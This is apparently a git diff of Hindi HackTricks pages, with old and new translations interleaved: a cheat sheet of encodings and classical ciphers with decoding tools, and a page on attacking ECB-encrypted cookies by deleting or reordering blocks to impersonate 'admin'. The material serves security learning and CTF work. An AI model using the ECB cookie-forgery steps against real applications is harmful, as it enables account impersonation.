* **बेस64** \[_A-Za-z0-9+/=_]
|
||||
* `aG9sYWNhcmFjb2xh`
|
||||
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* **बेस67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* `NI9JKX0cSUdqhr!p`
|
||||
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* **बेस85 (एस्की85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* **बेस85 (एडोबी)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `<~BQ%]q@psCd@rH0l~>`
|
||||
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* **बेस85 (IPv6 या RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* **बेस85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* **बेस85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* **बेस91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* **बेस100** \[]
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* **बेस122** \[]
|
||||
* `4F ˂r0Xmvc`
|
||||
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* **एटम-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
|
@ -126,19 +126,21 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
* **Citrix CTX1** \[]
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 डेड: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
### हैकराइज़ एक्सएस \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 मरा हुआ: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### मोर्स
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
### UUencoder
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 मरा हुआ: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 मृत: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
|
@ -164,7 +166,9 @@ end
|
|||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
### BinHex
|
||||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### बिनहेक्स
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
|
@ -176,68 +180,76 @@ ryvkryvkryvkryvkryvkryvkryvk
|
|||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
### ड्वोरक कीबोर्ड
|
||||
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### ड्वोराक कीबोर्ड
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
अक्षरों को उनके संख्यात्मक मूल्य
|
||||
अक्षरों के उनके संख्यात्मक मूल्य
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### एफिन साइफर एन्कोड
|
||||
### अफाइन गुप्ताक्षर एन्कोड
|
||||
|
||||
अक्षर से संख्या `(ax+b)%26` (_a_ और _b_ चाबियाँ हैं और _x_ अक्षर है) और परिणाम वापस अक्षर में
|
||||
पत्र को संख्या में बदलें `(ax+b)%26` (_a_ और _b_ कुंजी हैं और _x_ पत्र है) और परिणाम को फिर से पत्र में बदलें
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS कोड
|
||||
### एसएमएस कोड
|
||||
|
||||
**Multitap** एक अक्षर को [बदलता है](https://www.dcode.fr/word-letter-change) मोबाइल [फोन कीपैड](https://www.dcode.fr/phone-keypad-cipher) पर परिभाषित संख्याओं के द्वारा दोहराए गए अंकों से (यह मोड SMS लिखते समय इस्तेमाल किया जाता है).\
|
||||
उदाहरण के लिए: 2=A, 22=B, 222=C, 3=D...\
|
||||
आप इस कोड को पहचान सकते हैं क्योंकि आप देखेंगे कि **कई संख्याएँ दोहराई गई हैं**.
|
||||
**मल्टीटैप** [एक अक्षर को बदलता है](https://www.dcode.fr/word-letter-change) जिसे मोबाइल [फोन कीपैड](https://www.dcode.fr/phone-keypad-cipher) पर संबंधित कुंजी कोड द्वारा परिभाषित दोहरी अंकों से बदल दिया जाता है (यह मोड एसएमएस लिखते समय प्रयोग किया जाता है)।\
|
||||
उदाहरण: 2=A, 22=B, 222=C, 3=D...\
|
||||
आप इस कोड को पहचान सकते हैं क्योंकि आपको\*\* कई बार दोहराए गए अंक\*\* दिखाई देंगे।
|
||||
|
||||
आप इस कोड को डिकोड कर सकते हैं: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
आप इस कोड को डीकोड कर सकते हैं: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### बेकन कोड
|
||||
|
||||
प्रत्येक अक्षर को 4 As या Bs (या 1s और 0s) से बदलें
|
||||
प्रत्येक अक्षर को 4 ए या बी (या 1 और 0) के लिए प्रतिस्थापित करें
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### रून्स
|
||||
### रूण
|
||||
|
||||
![](../.gitbook/assets/runes.jpg)
|
||||
|
||||
## संपीड़न
|
||||
## संक्षेपण
|
||||
|
||||
**Raw Deflate** और **Raw Inflate** (आप दोनों को Cyberchef में पा सकते हैं) हेडर्स के बिना डेटा को संपीड़ित और डिकंप्रेस कर सकते हैं।
|
||||
**Raw Deflate** और **Raw Inflate** (आप दोनों को साइबरचेफ में पा सकते हैं) डेटा को हेडर के बिना संक्षेपित और विस्तारित कर सकते हैं।
|
||||
|
||||
## आसान क्रिप्टो
|
||||
## सरल क्रिप्टो
|
||||
|
||||
### XOR - ऑटोसॉल्वर
|
||||
|
||||
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### बिफिड
|
||||
|
||||
एक कीवर्ड की आवश्यकता होती है
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### विजेनेरे
|
||||
### Bifid
|
||||
|
||||
एक कीवर्ड की आवश्यकता है
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### वीजेनेर
|
||||
|
||||
एक कुंजीशब्द की आवश्यकता है
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## मजबूत क्रिप्टो
|
||||
|
||||
### Fernet
|
||||
### फेर्नेट
|
||||
|
||||
2 base64 स्ट्रिंग्स (टोकन और की)
|
||||
2 base64 स्ट्रिंग्स (टोकन और कुंजी)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
@ -249,18 +261,20 @@ Key:
|
|||
|
||||
### समीर सीक्रेट शेयरिंग
|
||||
|
||||
एक गुप्त संदेश को X भागों में विभाजित किया जाता है और इसे पुनः प्राप्त करने के लिए आपको Y भागों की आवश्यकता होती है (_Y <=X_)।
|
||||
एक रहस्य को X भागों में विभाजित किया जाता है और इसे पुनर्प्राप्त करने के लिए आपको Y भागों की आवश्यकता होती है (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
||||
## उपकरण
|
||||
## Tools
|
||||
|
||||
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
|
@ -268,14 +282,14 @@ Key:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,46 +1,46 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) इलेक्ट्रॉनिक कोड बुक - सममितीय एन्क्रिप्शन योजना जो **प्रत्येक ब्लॉक को स्पष्ट पाठ** के बदले में **सिफरटेक्स्ट के ब्लॉक से बदल देती है**. यह सबसे **सरल** एन्क्रिप्शन योजना है. मुख्य विचार यह है कि स्पष्ट पाठ को **N बिट्स के ब्लॉक्स में विभाजित करें** (इनपुट डेटा के ब्लॉक के आकार, एन्क्रिप्शन एल्गोरिदम पर निर्भर करता है) और फिर प्रत्येक स्पष्ट पाठ के ब्लॉक को एकमात्र कुंजी का उपयोग करके एन्क्रिप्ट (डिक्रिप्ट) करें.
|
||||
(ECB) इलेक्ट्रॉनिक कोड बुक - सममित्र एन्क्रिप्शन योजना जो **प्रत्येक ब्लॉक को साफ पाठ के ब्लॉक से बदल देती है**। यह **सरलतम** एन्क्रिप्शन योजना है। मुख्य विचार यह है कि स्पष्ट पाठ को **N बिट के ब्लॉक में विभाजित** किया जाता है (इनपुट डेटा, एन्क्रिप्शन एल्गोरिदम के ब्लॉक का आकार पर निर्भर करता है) और फिर केवल एक ही कुंजी का उपयोग करके प्रत्येक स्पष्ट पाठ के ब्लॉक को एन्क्रिप्ट (डिक्रिप्ट) करना है।
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
ECB का उपयोग करने से कई सुरक्षा प्रभाव पड़ते हैं:
|
||||
ECB का उपयोग करने के कई सुरक्षा प्रभाव होते हैं:
|
||||
|
||||
* **एन्क्रिप्टेड संदेश से ब्लॉक्स को हटाया जा सकता है**
|
||||
* **एन्क्रिप्टेड संदेश से ब्लॉक्स को इधर-उधर किया जा सकता है**
|
||||
* **एन्क्रिप्टेड संदेश से ब्लॉक हटा दिए जा सकते हैं**
|
||||
* **एन्क्रिप्टेड संदेश से ब्लॉक चले जा सकते हैं**
|
||||
|
||||
# कमजोरी का पता लगाना
|
||||
# सुरक्षा दोष का पता लगाना
|
||||
|
||||
कल्पना कीजिए कि आप कई बार एक एप्लिकेशन में लॉगिन करते हैं और आपको **हमेशा वही कुकी मिलती है**. यह इसलिए है क्योंकि एप्लिकेशन की कुकी **`<username>|<password>`** है.\
|
||||
फिर, आप दो नए उपयोगकर्ता बनाते हैं, दोनों के पास **समान लंबा पासवर्ड** और **लगभग** **समान** **उपयोगकर्ता नाम** होता है.\
|
||||
आप पाते हैं कि **8B के ब्लॉक्स** जहां **दोनों उपयोगकर्ताओं की जानकारी** समान है, वे **बराबर हैं**. फिर, आप कल्पना करते हैं कि यह शायद इसलिए है क्योंकि **ECB का उपयोग किया जा रहा है**.
|
||||
कल्पना करें कि आप कई बार एक एप्लिकेशन में लॉगिन करते हैं और आप **हमेशा एक ही कुकी** प्राप्त करते हैं। यह इसलिए है क्योंकि एप्लिकेशन की कुकी **`<उपयोगकर्ता नाम>|<पासवर्ड>`** है।\
|
||||
फिर, आप नए उपयोगकर्ताओं को उत्पन्न करते हैं, जिनमें दोनों का **लंबा पासवर्ड** है और **लगभग** **एक ही** **उपयोगकर्ता नाम** है।\
|
||||
आप पाता लगाते हैं कि **8B के ब्लॉक** जहां **दोनों उपयोगकर्ताओं की जानकारी** समान है, **बराबर** हैं। तब, आपको लगता है कि यह हो सकता है क्योंकि **ECB का उपयोग हो रहा है**।
|
||||
|
||||
निम्नलिखित उदाहरण की तरह. देखें कैसे ये **2 डिकोडेड कुकीज़** में कई बार ब्लॉक **`\x23U\xE45K\xCB\x21\xC8`** होता है.
|
||||
जैसे निम्नलिखित उदाहरण में। ध्यान दें कि इन **2 डिकोड कुकी** में कई बार ब्लॉक **`\x23U\xE45K\xCB\x21\xC8`** हैं।
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
यह इसलिए है क्योंकि **उन कुकीज़ के यूजरनेम और पासवर्ड में कई बार "a" अक्षर शामिल था** (उदाहरण के लिए)। जो **ब्लॉक्स** **अलग** हैं, वे ब्लॉक्स हैं जिनमें **कम से कम 1 अलग अक्षर** शामिल था (शायद डिलिमिटर "|" या यूजरनेम में कुछ जरूरी अंतर)।
|
||||
यह इसलिए है क्योंकि **कुकीज़ के उस उपयोक्ता नाम और पासवर्ड में कई बार अक्षर "a" शामिल थे** (उदाहरण के लिए)। वे **ब्लॉक** जो **विभिन्न** हैं, वे उन ब्लॉक्स हैं जिनमें **कम से कम 1 विभिन्न वर्ण था** (शायद विभाजक "|" या उपयोक्ता नाम में कोई आवश्यक भिन्नता)।
|
||||
|
||||
अब, हमलावर को केवल यह पता लगाना है कि फॉर्मेट `<username><delimiter><password>` है या `<password><delimiter><username>`। इसके लिए, वह केवल **कई यूजरनेम बना सकता है** जिनमें **समान और लंबे यूजरनेम और पासवर्ड होते हैं जब तक कि वह फॉर्मेट और डिलिमिटर की लंबाई का पता न लगा ले:**
|
||||
अब, हमलावर को बस यह पता लगाना है कि प्रारूप `<उपयोक्ता नाम><विभाजक><पासवर्ड>` है या `<पासवर्ड><विभाजक><उपयोक्ता नाम>` है। इसके लिए, वह **कई उपयोक्ता नाम** उत्पन्न कर सकता है **जिनमें समान और लंबे उपयोक्ता नाम और पासवर्ड हों** जब तक वह प्रारूप और विभाजक की लंबाई को न पाए:
|
||||
|
||||
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
|
||||
| उपयोक्ता नाम की लंबाई: | पासवर्ड की लंबाई: | उपयोक्ता नाम + पासवर्ड की लंबाई: | कुकी की लंबाई (डिकोडिंग के बाद): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
|
@ -48,47 +48,32 @@ ECB का उपयोग करने से कई सुरक्षा प
|
|||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# कमजोरी का शोषण
|
||||
# सुरक्षा दोष का शोधन
|
||||
|
||||
## पूरे ब्लॉक्स को हटाना
|
||||
## पूरे ब्लॉक हटाना
|
||||
|
||||
कुकी के फॉर्मेट को जानते हुए (`<username>|<password>`), यूजरनेम `admin` का प्रतिरूपण करने के लिए एक नया यूजर `aaaaaaaaadmin` बनाएं और कुकी प्राप्त करें और उसे डिकोड करें:
|
||||
कुकी के प्रारूप को जानकर (`<उपयोक्ता नाम>|<पासवर्ड>`), उपयोक्ता नाम `एडमिन` का अनुकरण करने के लिए एक नया उपयोक्ता बनाएं `aaaaaaaaadmin` और कुकी प्राप्त करें और इसे डिकोड करें:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
हम पैटर्न `\x23U\xE45K\xCB\x21\xC8` देख सकते हैं जो पहले उस यूजरनेम के साथ बनाया गया था जिसमें केवल `a` था।\
|
||||
फिर, आप पहले ब्लॉक के 8B को हटा सकते हैं और आपको यूजरनेम `admin` के लिए एक वैध कुकी मिल जाएगी:
|
||||
हम पहले बनाए गए पैटर्न `\x23U\xE45K\xCB\x21\xC8` को देख सकते हैं जो पिछले उपयोगकर्ता नाम के साथ बनाया गया था जिसमें केवल `a` शामिल था।\
|
||||
फिर, आप पहले 8B ब्लॉक को हटा सकते हैं और आपको उपयोगकर्ता नाम `admin` के लिए एक मान्य कुकी मिलेगी:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## ब्लॉक्स को स्थानांतरित करना
|
||||
## ब्लॉक्स को हटाना
|
||||
|
||||
कई डेटाबेस में `WHERE username='admin';` के लिए खोजना या `WHERE username='admin ';` के लिए खोजना समान होता है _(अतिरिक्त स्पेसेस का ध्यान दें)_
|
||||
कई डेटाबेस में `WHERE username='admin';` खोजना या `WHERE username='admin ';` खोजना समान होता है _(अतिरिक्त रिक्त स्थानों का ध्यान दें)_
|
||||
|
||||
इसलिए, `admin` उपयोगकर्ता की नकल करने का एक और तरीका होगा:
|
||||
इसलिए, उपयोगकर्ता `admin` का अनुकरण करने का एक और तरीका है:
|
||||
|
||||
* एक उपयोगकर्ता नाम उत्पन्न करें जिसके लिए: `len(<username>) + len(<delimiter) % len(block)`. अगर ब्लॉक का आकार `8B` है तो आप उपयोगकर्ता नाम बना सकते हैं: `username `, और डिलिमिटर `|` के साथ `<username><delimiter>` चंक 8Bs के 2 ब्लॉक्स उत्पन्न करेगा।
|
||||
* फिर, एक पासवर्ड उत्पन्न करें जो उस उपयोगकर्ता नाम को भरने के लिए एक सटीक संख्या में ब्लॉक्स को भरेगा जिसे हम नकल करना चाहते हैं और स्पेसेस, जैसे: `admin `
|
||||
* एक उपयोगकर्ता नाम जेनरेट करें जो: `len(<username>) + len(<delimiter) % len(block)`. `8B` ब्लॉक साइज के साथ आप `username ` नामक उपयोगकर्ता नाम जेनरेट कर सकते हैं, डिलीमिटर `|` के साथ टुकड़ा `<username><delimiter>` 2 ब्लॉक्स को जेनरेट करेगा।
|
||||
* फिर, एक पासवर्ड जेनरेट करें जो उस उपयोगकर्ता नाम और रिक्त स्थानों को भरेगा, जिसे हम अनुकरण करना चाहते हैं, जैसे: `admin `
|
||||
|
||||
इस उपयोगकर्ता का कुकी 3 ब्लॉक्स से बना होगा: पहले 2 ब्लॉक्स उपयोगकर्ता नाम + डिलिमिटर के हैं और तीसरा पासवर्ड का है (जो उपयोगकर्ता नाम की नकल कर रहा है): `username |admin `
|
||||
इस उपयोगकर्ता की कुकी 3 ब्लॉक्स से बनी होगी: पहले 2 उपयोगकर्ता के ब्लॉक्स + डिलीमिटर और तीसरा पासवर्ड का ब्लॉक (जो उपयोगकर्ता नाम का नकली है): `username |admin `
|
||||
|
||||
** फिर, बस पहले ब्लॉक को आखिरी ब्लॉक के साथ बदल दें और आप `admin` उपयोगकर्ता की नकल कर रहे होंगे: `admin |username`**
|
||||
** फिर, बस पहले ब्लॉक को आखिरी ब्लॉक के साथ बदल दें और उपयोगकर्ता `admin` का अनुकरण कर रहे होंगे: `admin |username`**
|
||||
|
||||
# संदर्भ
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
